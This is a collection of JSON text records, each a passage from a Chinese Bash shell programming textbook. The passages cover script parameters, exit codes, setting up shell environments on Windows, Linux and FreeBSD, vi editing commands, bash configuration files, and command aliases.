    {"text": "表1-1 常用的与参数传递有关的系统变量 变量名 说 明 $n 表示传递给脚本的第n个参数，例如$1表示第1个参数，$2表示第2个参数…… $# 命令行参数的个数 $0 当前脚本的名称 $* 以“参数1参数2参数3……”的形式返回所有参数的值 $@ 以“参数1”“参数2”“参数3”……的形式返回所有参数的值 $_ 保存之前执行的命令的最后一个参数 通过表1-1，可以得知，Shell的位置参数按照0，1，2……的顺序从0开始编号。"},
    {"text": "由单引号或者双引号引起来的字符串作为一个参数进行传递，传递时会去掉引号。 注意： 对于包含空白字符或者其他的特殊字符的参数，需要使用单引号或者双引号进行传递。"},
    {"text": "变量$@可以以“参数1”“参数2”“参数3”……的形式返回所有的参数的值，因此，$@与“$1”“$2”“$3”……是等价的。 如果用户传递的参数中包含空格或者其他的特殊字符，需要使用$@来获取所有的参数的值，不能使用$*。 变量$*以“参数1参数2参数3……”的形式将所有的参数作为一个字符串返回。"},
    {"text": "为了能够获取第10个参数的值，用户必须处理或保存第1个参数，即$1，然后使用shift命令删除参数1并将所有剩余的参数下移1位，此时$10就变成了$9，依此类推。"},
    {"text": "代码如下： 01 #-----------------------------/chapter1/ex1-3.sh------------------ 02 #! /bin/bash 03 04 echo \"$# parameters\" 05 echo \"$@\" 然后通过以下方式来执行： [root@linux chapter1]# ./ex1-3.sh a \"b c\" 2 parameters a b c 在上面的代码中，向ex1-3.sh脚本传递了2个参数，其中第2个参数含有空格，所以需要使用双引号引起来。"},
    {"text": "01 #-----------------------------/chapter1/ex1-4.sh------------------ 02 #!/bin/bash 03 04 # 输出参数索引 05 echo \"OPTIND starts at $OPTIND\" 06 # 接收参数 07 while getopts \":pq:\" optname 08 do 09 case \"$optname\" in 10 \"p\") 11 echo \"Option $optname is specified\" 12 ;; 13 \"q\") 14 echo \"Option $optname has value $OPTARG\" 15 ;; 16 \"?\") 17 echo \"Unknown option $OPTARG\" 18 ;; 19 \":\") 20 echo \"No argument value for option $OPTARG\" 21 ;; 22 *) 23 # Should not occur 24 echo \"Unknown error while processing options\" 25 ;; 26 esac 27 echo \"OPTIND is now $OPTIND\" 28 done 对于上面的代码，我们不做过多的介绍，此处只是了解如何使用参数扩展。"},
    {"text": "以上程序的执行结果如下： [root@linux chapter1]# ./ex1-4.sh -p OPTIND starts at 1 Option p is specified OPTIND is now 2 [root@linux chapter1]# ./ex1-4.sh -q OPTIND starts at 1 No argument value for option q OPTIND is now 2 [root@linux chapter1]# ./ex1-4.sh -f OPTIND starts at 1 Unknown option f OPTIND is now 2 1.5 第一个Shell程序：Hello，Bash Shell！"},
    {"text": "通过前面几节的学习，读者已经接触到一些Shell程序了。 在本节中，将介绍一个完整的Shell程序，使得读者能够掌握Shell程序的组成元素，并写出简单的程序。"},
    {"text": "01 #-----------------------------/chapter1/ex1-5.sh------------------ 02 #! /bin/bash 03 04 # 输出字符串 05 echo \"Hello, Bash Shell!\" 这是一个完整的Shell程序，对于拥有执行权限的用户来说，这也是一个可执行的Shell程序。"},
    {"text": "接下来执行一下这个程序，看看到底会出现什么结果，命令如下： [root@linux chapter1]# chmod +x ex1-5.sh [root@linux chapter1]# ./ex1-5.sh Hello, Bash Shell! 从上面的执行结果可以得知，这个程序已经得到了预期的结果。"},
    {"text": "实际上，【例1-5】中的第2行的作用正是告诉当前的Shell，应该调用哪个Shell来执行当前的程序。 我们再来回顾一下【例1-5】的第2行代码： #! /bin/bash 当用户在命令行中执行该程序时，当前的Shell会载入该程序的代码，并且读取其中的第2行，如果发现有“#!”标识，则表示当前的程序指定了解释并执行它的Shell。"},
    {"text": "【 例1-6 】在PHP脚本文件中指定PHP语言的解释器，然后执行文件中的PHP代码，代码如下： 01 #-----------------------------/chapter1/ex1-6.php------------------ 02 # 指定解释器 03 #! /usr/local/php5/bin/php 04 05 <?php 06 // 输出 Hello world! 字符串 07 print \"Hello world!\"; 08 ?> 在上面的代码中，第3行指定解释当前文件的解释器的绝对路径，第5行是PHP代码的开始标识符，第7行使用print语句输出字符串“Hello world!”，第8行是PHP代码的结束标识符。"},
    {"text": "该程序的执行结果如下： [root@linux chapter1]# ./ex1-6.php Hello world! 用户还可以指定其他一些命令，例如more或者cat来显示当前程序的代码，请参见下面的例子。"},
    {"text": "【 例1-7 】指定more命令作为脚本文件的解释器，代码如下： 01 #-----------------------------/chapter1/ex1-7.sh------------------ 02 # 指定解释器 03 #! /bin/more 04 05 # 输出语句 06 echo \"Hello world!\" 读者应该想象得到，该程序的执行结果会是什么样子。"},
    {"text": "传统的Shell只支持单行注释，其表示方法是一个井号“#”，从该符号开始一直到行尾都属于注释的内容。 例如【例1-5】中的第4行： 04 #输出字符串 如果需要多行注释内容的话，则在每行注释的开头都要加上“#”，例如： #注释1 #注释2 #注释3 ... 但是这并不意味着用户只能使用单行注释。 实际上，用户还可以通过其他一些变通的方法来实现多行注释，其中，最简单的方法就是使用冒号“:”配合here document，其语法如下： :<<BLOCK ....注释内容 BLOCK 【 例1-8 】通过here document实现了多行注释，代码如下： 01 #-----------------------------/chapter1/ex1-8.sh------------------ 02 #! /bin/sh 03 04 :<<BLOCK 05 本脚本的作用是输出一行字符串 06 作者：chunxiao 07 BLOCK 08 echo \"Hello world!\" 注意： 一个here document就是一段带有特殊目的的代码段，它使用I/O重定向的形式将一个命令序列传递到一个交互程序或者命令中，比如ftp、cat或者ex文本编辑器。 在【例1-8】中，我们是将BLOCK之间的代码重定向到一个不存在的命令，从而间接地实现了多行注释。"},
    {"text": "实际上，在Linux中，如果要执行某个Shell程序，用户可以通过3种方式来实现。 这3种方式分别为： 授予用户执行该脚本文件的权限，使得该程序能够直接执行。"},
    {"text": "第二种方式就是将脚本文件作为参数传递给解释器，在通过这种方式执行脚本的时候，不需要用户拥有执行该脚本文件的权限，只要拥有读取该文件的权限即可。"},
    {"text": "对于【例1-5】，用户可以使用以下方式来执行： [root@linux chapter1]# /bin/bash ex1-5.sh Hello, Bash Shell! 在上面的命令中，/bin/bash是bash Shell的绝对路径。"},
    {"text": "source命令是一个Shell内部命令，其功能是读取指定的Shell程序文件，并且依次执行其中所有的语句。 该命令与前面两种方式的区别在于只是简单地读取脚本里面的语句，并且依次在当前的Shell里面执行，并没有创建新的子Shell进程。"},
    {"text": "例如，【例1-5】也可以使用以下方式执行： [root@linux chapter1]# source ex1-5.sh Hello, Bash Shell! 1.5.5 Shell程序的退出状态 在UNIX或者Linux中，每个命令都会返回一个退出状态码。"},
    {"text": "同样，Shell脚本中的函数和脚本本身也会返回退出状态码。 在脚本或者是脚本函数中执行的最后的命令会决定退出状态码。 另外，用户也可以在脚本中使用exit语句将指定的退出状态码传递给Shell。"},
    {"text": "在这种情况下，整个程序的退出状态码由最后执行的那一条语句来决定。 例如，在下面的脚本中，整个脚本的退出状态将由statement_last这条语句的退出状态来决定。 01 #!/bin/bash 02 03 statement1 04 05 ... 06 07 # 将由最后的命令来决定退出状态码 08 statement_last 另外，在Shell中，系统变量$?保存了最后一条命令的退出状态，因此，上面的程序与下面的程序的效果是完全相同的： 01 #!/bin/bash 02 03 statement1 04 05 ... 06 07 # 将由最后的命令来决定退出状态码 08 statement_last 09 exit $? 其中，第9行的$?保存了最后一条语句statement_last的退出状态。 当然，exit语句也可以不带任何参数，此时，脚本的退出状态也由最后一条语句的退出状态决定，所以，上面的程序与下面的程序的效果也是完全相同的： 01 #!/bin/bash 02 03 statement1 04 05 ... 06 07 # 将由最后的命令来决定退出状态码 08 statement_last 09 exit 程序的退出状态非常重要，它反映了脚本的执行是否成功。"},
    {"text": "【 例1-9 】演示在不同的情况下程序的退出状态，代码如下： 01 #-----------------------------/chapter1/ex1-9.sh------------------ 02 #!/bin/sh 03 04 echo \"hello world\" 05 # 退出状态为 0, 因为命令执行成功 06 echo $? 07 # 无效命令 08 abc 09 # 非零的退出状态 , 因为命令执行失败 10 echo $? 11 echo 12 # 返回 120 退出状态给 shell 13 exit 120 在上面的代码中，第4行是一个正常的echo语句，因此第6行的输出结果应该是0。"},
    {"text": "例1-9的执行结果如下： 01 [root@linux chapter1]# ./ex1-9.sh 02 hello world 03 0 04 ./ex1-9.sh: line 8: abc: command not found 05 127 06 07 [root@linux chapter1]# echo $? 08 120 在上面的执行结果中，第2行是第4行的echo语句的执行结果。"},
    {"text": "由于程序已经退出，所以需要用户手动输入执行结果中的第7行命令，获取整个脚本的退出状态码，从执行结果可以得知，该脚本的退出状态码为120，这正是【例1-9】中的第13行的exit语句返回的数值。"},
    {"text": "系统环境的搭建：主要介绍Shell配置文件和命令别名的使用方法。 2.1 在不同的操作系统上搭建Shell编程环境 尽管Shell程序一般都是在UNIX或者Linux等操作系统上面运行的，但是作为开发者来说，他所使用的操作系统却不一定是UNIX或者Linux，完全有可能是Windows等其他的操作系统。 本节将介绍在不同的操作系统上面，如何搭建Shell编程环境。 2.1.1 在Windows上搭建Shell编程环境 对于开发者来说，Windows可能是最常用的操作系统了。"},
    {"text": "在众多的模拟器中，最常用的是Cygwin。 Cygwin是一个非常优秀的UNIX模拟器，最初由Cygnus Solutions公司开发，目前由Red Hat公司维护。 Cygwin是许多自由软件的集合，用于在各种版本的Microsoft Windows上，创建出一个UNIX或者Linux的运行环境。 Cygwin的主要目的是通过重新编译，将POSIX系统（如Linux、BSD，以及UNIX系统）上面的软件移植到Windows上。"},
    {"text": "用户可以从以下网站下载Cygwin，目前最新版本是1.7.17-1： http://www.cygwin.com/ 下载完成之后，用户可以按照以下步骤进行安装。"},
    {"text": "（1）双击安装程序setup.exe，出现安装向导，如图2-1所示。 图2-1 Cygwin安装向导 （2）单击“下一步”按钮，开始选择安装类型，如图2-2所示。"},
    {"text": "图2-4 选择安装包存储位置 （5）选择网络连接的类型。 由于安装程序需要从网络上下载安装包文件，所以需要指定网络连接的类型，如图2-5所示。 图2-5 选择网络连接类型 提示： 通常情况下，用户可以选择第一项，即直接连接。"},
    {"text": "图2-7 选择软件包 （8）开始安装。 选择好软件包之后，便开始从网络上下载软件，如图2-8所示。 图2-8 安装过程 （9）当所有的软件包安装完成之后，会出现图2-9所示的对话框，单击“完成”按钮，退出安装向导。"},
    {"text": "图2-9 安装完成 当所有的安装操作都完成之后，用户可以单击桌面上的Cygwin Terminal图标，启动Cygwin模拟终端窗口，如图2-10所示。 从图中可以看出，Cygwin的模拟终端窗口与真正的UNIX的终端窗口非常相似。"},
    {"text": "执行结果如下： $ ./ex1-5.sh Hello, Bash Shell! 从上面的执行结果可以得知，在Cygwin的模拟环境中，【例1-5】的执行结果与在Linux中的执行结果基本相同。"},
    {"text": "2.1.2 在Linux上搭建Shell编程环境 由于Linux本身都会默认安装Shell脚本的运行环境，所以通常情况下，并不需要用户额外安装什么软件。 但是，前面已经介绍过，在同一台Linux上面会同时安装多个Shell，并且，这些Shell的语法会有所不同，所以，用户在编写和执行Shell脚本的时候一定要弄清楚当前使用的是哪种Shell。 用户可以使用系统变量$SHELL来获取当前系统默认的Shell，如下： [root@linux ~]# echo $SHELL /bin/bash 从上面的输出结果可以得知，当前系统默认的Shell为bash。"},
    {"text": "实际上，在Linux中，这是一个指向/bin/bash的符号链接，如下： [root@linux ~]# ll /bin/sh lrwxrwxrwx. 1 root root 4 Feb 21 2012 /bin/sh -> bash 这意味着，尽管我们在程序中指定的解释器为/bin/sh，但是实际上解释Shell脚本的是/bin/bash。"},
    {"text": "Shell作为一个软件包，当然也有版本，用户可以使用如下命令来查看bash的版本： [root@linux ~]# echo $BASH_VERSION 4.1.2(1)-release 从上面的执行结果可以得知，当前bash的版本为4.1.2。"},
    {"text": "（1）下载bash源代码，命令如下： [root@linux ~]# wget http://ftp.gnu.org/gnu/bash/bash-4.2.tar.gz 在上面的命令中，wget命令使用远程服务器下载文件，其参数是bash最新版本的网址。 （2）解压源代码，命令如下： [root@linux ~]# tar zxvf bash-4.2.tar.gz （3）配置编译环境，命令如下： [root@linux ~]# cd bash-4.2 [root@linux bash-4.2]# ./configure （4）测试编译。 为了判断源代码是否能够编译成功，用户可以使用以下命令来测试： [root@linux bash-4.2]# ./make test 如果以上命令没有任何错误消息，则用户可以进行源代码编译操作。 （5）编译bash，命令如下： [root@linux bash-4.2]# make install 在默认情况下，bash将被安装到/usr/local/bin下面。"},
    {"text": "首先切换到新版本的bash的安装目录，如下： [root@linux bash-4.2]# cd /usr/local/bin/ [root@linux bin]# ll total 2904 -rwxr-xr-x 1 root root 2964076 Dec 30 23:19 bash -r-xr-xr-x 1 root root 6828 Dec 30 23:19 bashbug 接下来，切换到新版本的bash，然后查看当前bash的版本，命令如下： [root@linux bin]# ./bash [root@linux bin]# echo $BASH_VERSION 4.2.0(1)-release 从上面的命令可以得知，当前的bash的版本已经是4.2.0了。"},
    {"text": "下面的命令列出了该文件的内容： [root@linux etc]# more shells /bin/sh /bin/bash /sbin/nologin /bin/tcsh /bin/csh 从上面的输出结果可以得知，用户可以使用的Shell有5个，而前两个实际上都是bash。"},
    {"text": "具体添加的方法有很多种，用户可以直接使用vi编辑器修改/etc/shells文件，追加一行关于新的Shell的路径信息即可，如下： /bin/sh /bin/bash /sbin/nologin /bin/tcsh /bin/csh /usr/local/bin/bash 2.1.3 在FreeBSD上搭建Shell编程环境 FreeBSD是UNIX两大流派中BSD流派的比较典型的一个代表，也是目前应用比较广泛的一个UNIX系统。 在默认情况下，FreeBSD使用的Shell为csh，这一点，可以通过系统变量$SHELL来获得，如下： freebsd# echo $SHELL /bin/csh 因此，如果用户在其他的Shell环境进行程序设计的话，必须自己安装所需要的Shell。 下面以bash为例来说明如何在FreeBSD上面安装其他的Shell。 用户可以通过两种方式来安装bash，其中第一种是通过软件包，这种方式是安装已经编译好的二进制文件，因此安装起来相对较快；"},
    {"text": "1．使用软件包的方式安装bash 如果用户想要直接安装二进制软件包，则需要使用pkg_add命令，如下： freebsd# pkg_add -r bash 在上面的命令中，选项-r表示需要从远程服务器下载软件包，后面的bash是软件包的名称。 当输入以上命令，并且按回车键之后，pkg_add命令便开始搜索远程的服务器，找到bash软件包及其所依赖的其他软件包并下载到本地。"},
    {"text": "在使用Ports之前，必须确保当前的FreeBSD系统已经安装了Ports树，然后执行以下命令安装bash： freebsd# cd /usr/ports/shell/bash freebsd# make && make install 此时，FreeBSD的Ports管理工具会自动从远程服务器下载bash的源代码，然后编译并且安装。"},
    {"text": "这个操作可以使用chsh命令来完成。 chsh命令可以用来修改一些用户的信息，包括默认的Shell。 在命令行中执行chsh，会自动调用vi或者vim，打开一个编辑窗口，如图2-11所示。 图2-11 chsh命令编辑窗口 然后，用户可以使用vi或者vim的相关命令来修改用户的相关选项。"},
    {"text": "尽管与其他程序设计语言相比，Shell并没有专门的编辑器，但是仍然存在一些相对较好的辅助工具。 本节将介绍Shell编程中经常使用的一些编辑器。 2.2.1 图形化编辑器 通常情况下，用户都是使用文本编辑器来编写Shell脚本。"},
    {"text": "（1）下载ShellEd。 用户可以从以下网址下载最新版本的ShellEd： http://sourceforge.net/projects/shelled/files/ 目前ShellEd的最新版本为2.0.2。 下载完成之后的文件名为net.sourceforge.shelled-site-2.0.2.zip。"},
    {"text": "图2-13 安装软件对话框 图2-14 添加软件源对话框 图2-15 列出软件源中的软件包 （1）打开Eclipse，选择File|New|Other命令，打开新建项目向导，如图2-16所示。"},
    {"text": "图2-16 新建项目对话框 图2-17 新建项目对话框 （3）在左边的项目浏览器中，右击刚刚创建的项目名称，选择New|Other命令，打开新建项目向导，如图2-18所示。"},
    {"text": "图2-18 新建项目向导 图2-19 指定脚本文件名称 （5）在源代码编辑窗口中输入代码，如图2-20所示。 图2-20 代码编辑窗口 （6）当代码输入完成之后，右击代码窗口，选择Run As|run shell script命令。"},
    {"text": "图2-22 首选项对话框 （8）在出现的解释器添加窗口中，单击Browse按钮，选择Cygwin安装目录中的bin目录中的bash.exe文件，然后单击OK按钮，关闭对话框，如图2-23所示。 图2-23 选择Shell脚本解释器 此时，在解释器列表中会出现刚才选择的Bash Shell解释器，如图2-24所示。 图2-24 解释器列表 （9）再次执行Shell脚本，在Eclipse底部的Console窗口中会显示程序的执行结果，如图2-25所示。"},
    {"text": "注意： 如果在执行Shell脚本的时候出现以下警告提示： cygwin warning: MS-DOS style path detected: D:\\workspace\\demo\\helloworld.sh Preferred POSIX equivalent is: /cygdrive/d/workspace/demo/helloworld.sh CYGWIN environment variable option \"nodosfilewarning\" turns off this warning. Consult the user's guide for more details about POSIX paths: http://cygwin.com/cygwin-ug-net/using.html#using-pathnames D:\\workspace\\demo\\helloworld.sh: line 2: $'\\r': command not found 则需要在Windows中设置一个名称为CYGWIN的系统环境变量，其值为nodosfilewarning。"},
    {"text": "如图2-26所示是Uedit32的编辑界面，从图中可以得知，Uedit会自动识别Shell语句的关键字，并且以不同的颜色来显示。 图2-26 使用Uedit32编辑Shell脚本 使用Notepad++可以达到类似的效果，如图2-27所示。"},
    {"text": "下面详细介绍vi编辑器的使用方法，主要包括vi的使用模式、文件的打开、关闭和保存、插入文本或者新建行、移动光标、删除、恢复字符或者行，以及搜索等。 通常认为，vi有3种使用模式，分别为一般模式、编辑模式和命令模式。"},
    {"text": "在每种模式下面，用户都可以分别执行不同的操作。 例如，在一般模式下，用户可以进行光标位置的移动、删除字符，以及复制等； 在编辑模式下，用户可以插入字符或者删除字符等； 在命令模式下，用户可以保存文件或者退出编辑器等。"},
    {"text": "表2-1 光标移动快捷键 操 作 快 捷 键 说 明 向下移动光标 向下方向键、j键或者空格键 每按1次键，光标向正下方移动1行 向上移动光标 向上方向键、k键或者backspace键 每按1次键，光标向正上方移动1行 向左移动光标 向左方向键或者h键 每按1次键，光标向左移动过1个字符 向右移动光标 向右方向键或者l键 每按1次键，光标向右移动1个字符 移至下1行行首 回车键 每按1次键，光标会移动到下1行的行首 移至上1行行首 -键 每按1次键，光标会移动到上1行的行首 移至文件最后1行 G键 将光标移动到文件最后1行的行首 注意： 除了表2-1中列出的光标移动的快捷键之外，还有部分快捷键是在命令模式使用，例如行定位或者移动指定行数等，这些操作放在命令模式中介绍。 由于光标的移动相对比较简单，所以此处不再举例说明，用户可以使用vi打开一个文件，使用表2-1列出的快捷键来尝试移动光标。"},
    {"text": "为了能够快速地在指定的位置插入文本，vi编辑器提供了许多相关的命令，如表2-2所示。 表2-2 文本操作快捷键 操 作 快 捷 键 说 明 右插入 a 在当前光标所处位置的右边插入文本 左插入 i 在当前光标所处位置的左边插入文本 行尾追加 A 在当前行的末尾追加文本 行首插入 I 在当前行的开始处插入文本 插入行 O或者o O键在当前行的上面插入一个新行，o键将在当前行的下面插入一个新行 覆盖文本 R 覆盖当前光标所在的位置以及后面的若干文本 合并行 J 将当前光标所在行与下面的一行合并为一行 在表2-2中列出的快捷键中，除了J键之外，其他的所有的快捷键都会导致vi编辑器从一般模式切换到编辑模式。"},
    {"text": "这样的话，可以将多个单独的行复制到多个缓冲区中，各个缓冲区相互之间不受影响 复制多行 nyy 将当前行以及下面的n行复制到缓冲区，其中n表示一个整数。 与yy命令相似，用户也可以使用anyy或者bnyy等语法来命名缓冲区 复制单词 yw 复制从光标当前位置到当前单词词尾的字符 复制多个单词 nyw 其中n是一个整数，表示从光标当前位置开始，复制后面的n个单词 复制光标到行首 y^ 从当前光标所处的位置开始，复制到当前行的行首 复制光标到行尾 y$ 从当前光标所处的位置开始，复制到当前行的行尾 粘贴到光标后面的位置 p 将缓冲区中的字符串插入点当前光标所处位置的后面。 如果定义了多个缓冲区，则使用ap方式来粘贴，其中字母a表示缓冲区的名称 粘贴到光标前面的位置 P 将将缓冲区中的字符串插入到当前光标所处位置的前面。 如果定义了多个缓冲区，则使用aP的方式来粘贴，其中字母a表示缓冲区的名称 在表2-3列出的快捷键中，yw快捷键复制的并不一定是整个单词，它是从光标当前的位置开始复制，如果当前光标处于某个单词的中间，则yw命令将会复制从当前光标位置开始该单词后面的所有的字符。 例如，在图2-28中光标所处的位置在单词“filename”的字母“i”上面，所以如果使用yw快捷键，则复制到缓冲区的字符为“ilename”。 图2-28 复制单词 与之相类似，如果使用nyw快捷键，则会复制从当前单词的当前字符开始，一直到指定单词数的结尾。 例如，在图2-28中，如果使用2yw快捷键，则会复制字符串“ilename in”到缓冲区中。"},
    {"text": "表2-4列出了常用的文本删除的快捷键及其功能。 表2-4 删除文本快捷键 操 作 快捷键 说 明 删除当前字符 x 删除光标所在的位置的字符 删除多个字符 nx 删除从光标所在位置开始，后面的n个字符 删除当前行 dd 删除光标所处的整个行 删除多个行 n dd 删除包括当前行在内的n行 撤销上一步操作 u 撤销刚刚执行的操作 撤销多个操作 U 撤销针对当前行的所有操作 在表2-4中，其中最常用的操作就是删除当前的字符和删除当前行，这两个操作分别由快捷键x和dd完成。"},
    {"text": "注意： vi的许多快捷键都是由多个字符组成，在使用的时候一定要注意快速地依次按下指定的键。 2．编辑模式 前面已经介绍过，当用户执行了表2-2中除J键之外的任何快捷键，都会使得vi从一般模式切换到编辑模式。"},
    {"text": "在编辑模式下，用户可以使用上、下、左和右4个方向键移动光标，使用backspace键和del来删除光标前面的字符，还可以在光标所在的位置插入字符。 注意： 在编辑模式下，用户不能使用h、j、k和l这4个键移动光标，也不能使用x键删除字符。"},
    {"text": "3．命令模式 命令模式也是使用比较多的一种模式，在命令模式下，用户主要完成文件的打开、保存、将光标跳转到某行，以及显示行号等操作。"},
    {"text": "vi的命令模式需要从一般模式进入，当用户在一般模式下，按冒号键“:”之后，会在vi编辑界面的底部出现命令提示符，如图2-29所示。 图2-29 命令模式提示符 当出现图2-29中的命令提示符之后，用户就可以输入vi命令，例如保存文件或者退出vi编辑器。"},
    {"text": "表2-5 常用的vi命令 操 作 命令 说 明 打开文件 :e 打开另外一个文件，将文件名作为参数 保存文件 :w 保存文件，即将文件的改动写入磁盘。 如果将文件另存为其他文件名，则可以将新的文件名作为参数 退出编辑器 :q 退出vi编辑器 直接退出编辑器 :q! 不保存修改，直接退出vi编辑器 退出并保存文件 :wq 将文件保存后退出vi编辑器 在使用vi编辑文件的时候，如果想要直接打开某个文件，可以将文件名作为参数传递给vi命令，例如，以下命令将调用vi编辑器，并且打开demo.sh文件： [root@linux chapter2]# vi demo.sh 如果已经启动了vi编辑器，用户还想编辑另外一个文件，则可以按下冒号键，进入命令模式，使用:e命令打开另外一个文件。"},
    {"text": "如果想要退出vi编辑器，则可以使用:q命令，其中字母q表示退出（quit）。 在当前文件已经做了改动的情况下，如果用户使用:q命令退出vi，编辑器会给出保存文件的提示，如图2-30所示。"},
    {"text": "如果系统管理员修改了某些只读文件，则可以使用:w!命令强制将改动写入磁盘，如图2-31所示。 图2-31 修改只读文件 在命令模式下，除了表2-5列出的文件操作的命令之外，还有其他一些常用命令，如表2-6所示。"},
    {"text": "表2-6 常用的其他命令 操 作 命令 说 明 跳至指定行 : n、:n +或者: n - :n表示跳到行号为n的行，:n+表示向下跳n行，:n-表示向上跳n行 显示或者隐藏行号 :set nu或者:set nonu :set nu表示在每行的前面显示行号； :set nonu表示隐藏行号 替换字符串 :s/old/new、:s/old/new/g、:n,m s/old/new/g或者:%s/old/new/g :s/old/new表示用字符串new替换当前行中首次出现的字符串old； :s/old/new/g表示用字符new替换当前行中所有的字符串old； :n,m s/old/new/g表示用字符串new替换从n行到m行所有的字符串old； :%s/old/new/g表示用字符串new替换当前文件中所有的字符串old 设置文件格式 :set fileformat=unix 将文件修改为unix格式，如win下面的文本文件在linux下会出现^M。"},
    {"text": "其中fileformat可以取unix或者dos等值 对于编写和调试程序的用户来说，在vi编辑器中显示行号是一项非常有用的辅助功能，它可以帮助用户快速地定位出现错误的行。"},
    {"text": "尽管vi的文本搜索是在一般模式下进行的，但是它的使用方法与其他一般模式下的功能有所区别，甚至可以将该项功能单独称为搜索模式，所以，将文本搜索单独放在此处介绍。"},
    {"text": "用户可以在一般模式下通过反斜线“/”快捷键进入文本搜索模式，如图2-33所示。 图2-32 显示行号 图2-33 搜索模式 当进入搜索模式后，用户可以在提示符后面输入要搜索的字符串，然后按回车键。"},
    {"text": "如果要搜索的文本在当前文件中没有出现，则会给出以下提示： E486: Pattern not found: print 注意： vi虽然有比较多的命令，但是只要勤加练习，相信用户会很快地熟练掌握，同时也会给工作或学习带来更高的效率。"},
    {"text": "图2-34 搜索字符串 2.3 系统环境的搭建 在运行Shell程序的时候，除了脚本本身之外，还有许多因素会影响到Shell的执行结果。 这里面主要有Shell本身的环境以及命令的别名等。"},
    {"text": "每个用户在登录Shell之后，会首先读取和执行/etc/profile文件中的脚本，然后再读取和执行各自主目录中的.profile文件。 因此，用户可以将所有用户都需要执行的脚本放在/etc/profile文件中。 下面的代码是某个/etc/profile文件的部分内容： root@solaris # more /etc/profile #ident \"@(#)profile 1.19 01/03/13 SMI\" /* SVr4.0 1.3 */ # The profile that all logins get before using their own .profile. if [ -d /opt/SUNWspro/bin ] then PATH=/opt/SUNWspro/bin:/opt/csw/bin:${PATH}:/opt/csw/gcc3/bin MANPATH=${MANPATH}:/opt/SUNWspro/man fi trap \"\" 2 3 export LOGNAME PATH MANPATH if [ \"$TERM\" = \"\" ] then if /bin/i386 then TERM=sun-color else TERM=sun fi export TERM fi … --More--(45%) 从上面的代码可以得知，/etc/profile文件的内容与普通的Shell脚本并没有太大的区别。 用户主目录中的.profile文件是一个隐藏文件，该文件的内容与/etc/profile几乎是一样的。 该文件是每个用户私有的文件，每个用户在登录Shell的时候会自动执行各自的.profile文件，用户之间不会相互影响。 .profile文件会在/etc/profile文件之后读取和执行，因此，如果这两个文件中有相同的环境变量，.profile文件中的变量的值会覆盖/etc/profile文件中的相同变量的值。"},
    {"text": "2．bash Bourne-Again Shell（bash）的配置文件主要有5个，其中有4个位于用户主目录中，分别为.bash_profile、.bashrc、.bash_logout和.bash_history，有一个位于/etc/目录中，名称为bashrc。 .bash_profile位于每个用户的主目录中，在该文件中用来保存每个用户自己使用的Shell信息。"},
    {"text": "默认情况下，.bash_profile文件常常用来设置环境变量，执行用户的.bashrc文件。 下面的代码是某个系统中root用户的.bash_profile文件的内容： 01 # .bash_profile 02 03 # Get the aliases and functions 04 if [ -f ~/.bashrc ]; then 05 . ~/.bashrc 06 fi 07 08 # User specific environment and startup programs 09 10 PATH=$PATH:$HOME/bin:/usr/pgsql-9.2/bin 11 12 export PATH 从上面的代码可以看出，.bash_profile文件在第5行调用了用户主目录中的.bashrc文件。"},
    {"text": ".bashrc文件包含专属于某个用户的bash的相关信息，当用户登录以及每次打开新的bash时，该文件将被读取并执行。 下面的代码是某个系统中root用户的.bashrc的内容： 01 # .bashrc 02 03 # User specific aliases and functions 04 05 alias rm='rm -i' 06 alias cp='cp -i' 07 alias mv='mv -i' 08 09 # Source global definitions 10 if [ -f /etc/bashrc ]; then 11 . /etc/bashrc 12 fi 从上面的内容可以得知，该文件主要用来定义别名和函数，例如第5行定义了命令“rm-i”的别名为rm，第6行定义了命令“cp -i”的别名为cp。"},
    {"text": "下面的代码是某个Linux系统中的/etc/bashrc的部分内容： 01 # /etc/bashrc 02 03 # System wide functions and aliases 04 # Environment stuff goes in /etc/profile 05 06 # It's NOT a good idea to change this file unless you know what you 07 # are doing. It's much better to create a custom.sh shell script in 08 # /etc/profile.d/ to make custom changes to your environment, as this 09 # will prevent the need for merging in future updates. 10 11 # are we an interactive shell? 12 if [ \"$PS1\" ]; then 13 if [ -z \"$PROMPT_COMMAND\" ]; then 14 case $TERM in 15 xterm*) 16 if [ -e /etc/sysconfig/bash-prompt-xterm ]; then 17 PROMPT_COMMAND=/etc/sysconfig/bash-prompt-xterm 18 else 19 PROMPT_COMMAND='printf \"\\033]0;%s@%s:%s\\007\" \"${USER}\" \"${HOSTNAME%%.*}\" \"${PWD/#$HOME/~}\"' 20 fi 21 ;; 22 screen) 23 if [ -e /etc/sysconfig/bash-prompt-screen ]; then 24 PROMPT_COMMAND=/etc/sysconfig/bash-prompt-screen 25 else 26 PROMPT_COMMAND='printf \"\\033]0;%s@%s:%s\\033\\\\\" \"${USER}\" \"${HOSTNAME%%.*}\" \"${PWD/#$HOME/~}\"' 27 fi 28 ;; 29 *) 30 [ -e /etc/sysconfig/bash-prompt-default ] && PROMPT_COMMAND= /etc/sysconfig/bash-prompt-default 31 ;; 32 esac 33 fi 34 # Turn on checkwinsize 35 shopt -s checkwinsize … 注意： Linux不建议用户直接修改/etc/profile或者/etc/bashrc文件，应该尽量将用户的配置信息放在用户主目录中的对应文件中。"},
    {"text": "2.3.2 命令别名 顾名思义，命令别名是命令的另外一个名称。 在Linux中，设置命令别名的作用主要是为了简化命令的输入。 对于一个包含许多选项和参数的命令，用户可以为其设置一个别名，这样的话，在调用该命令的时候只要使用别名就可以了。 例如，在Linux中，为了提高安全性，通常为以下两个命令设置别名： rm -i 和 cp -i 在这两个命令中，-i选项的作用是相同的，都是使得前面的命令进入交互式模式。"},
    {"text": "因此，在绝大多数的Linux系统，这两个命令的别名设置方法为： alias rm='rm -i' alias cp='cp -i' 在上面的代码中，alias命令用来设置命令别名，其基本语法如下： alias command_alias=command 其中，参数command_alias表示命令的别名，command表示某个Shell命令。"},
    {"text": "例如，在上面的代码中，通过alias命令为“rm -i”命令设置了别名为rm，这样的话，用户在使用rm命令时，实际上使用的是“rm-i”命令。 注意： 在Linux Shell中，别名拥有最高的执行优先级，所以尽管系统中有rm命令，但是Shell仍然优先使用rm别名。"},
    {"text": "2.4 小结 本章详细介绍了Shell编程环境的搭建，主要内容包括在不同的操作系统上面搭建Shell执行环境、编辑器的选择、Shell环境变量的设置方法和命令别名。"},
    {"text": "第3章 变量和引用 第3章 变量和引用 在任何程序设计语言里面，变量都是一个非常重要的话题。 变量是程序设计语言中不可缺少的元素。 正确、恰当地使用变量可以增加程序的可读性，提高程序的健壮性和灵活性。 本章将从变量的基础知识开始，依次介绍什么是变量、变量的赋值和替换，以及变量的引用。"},
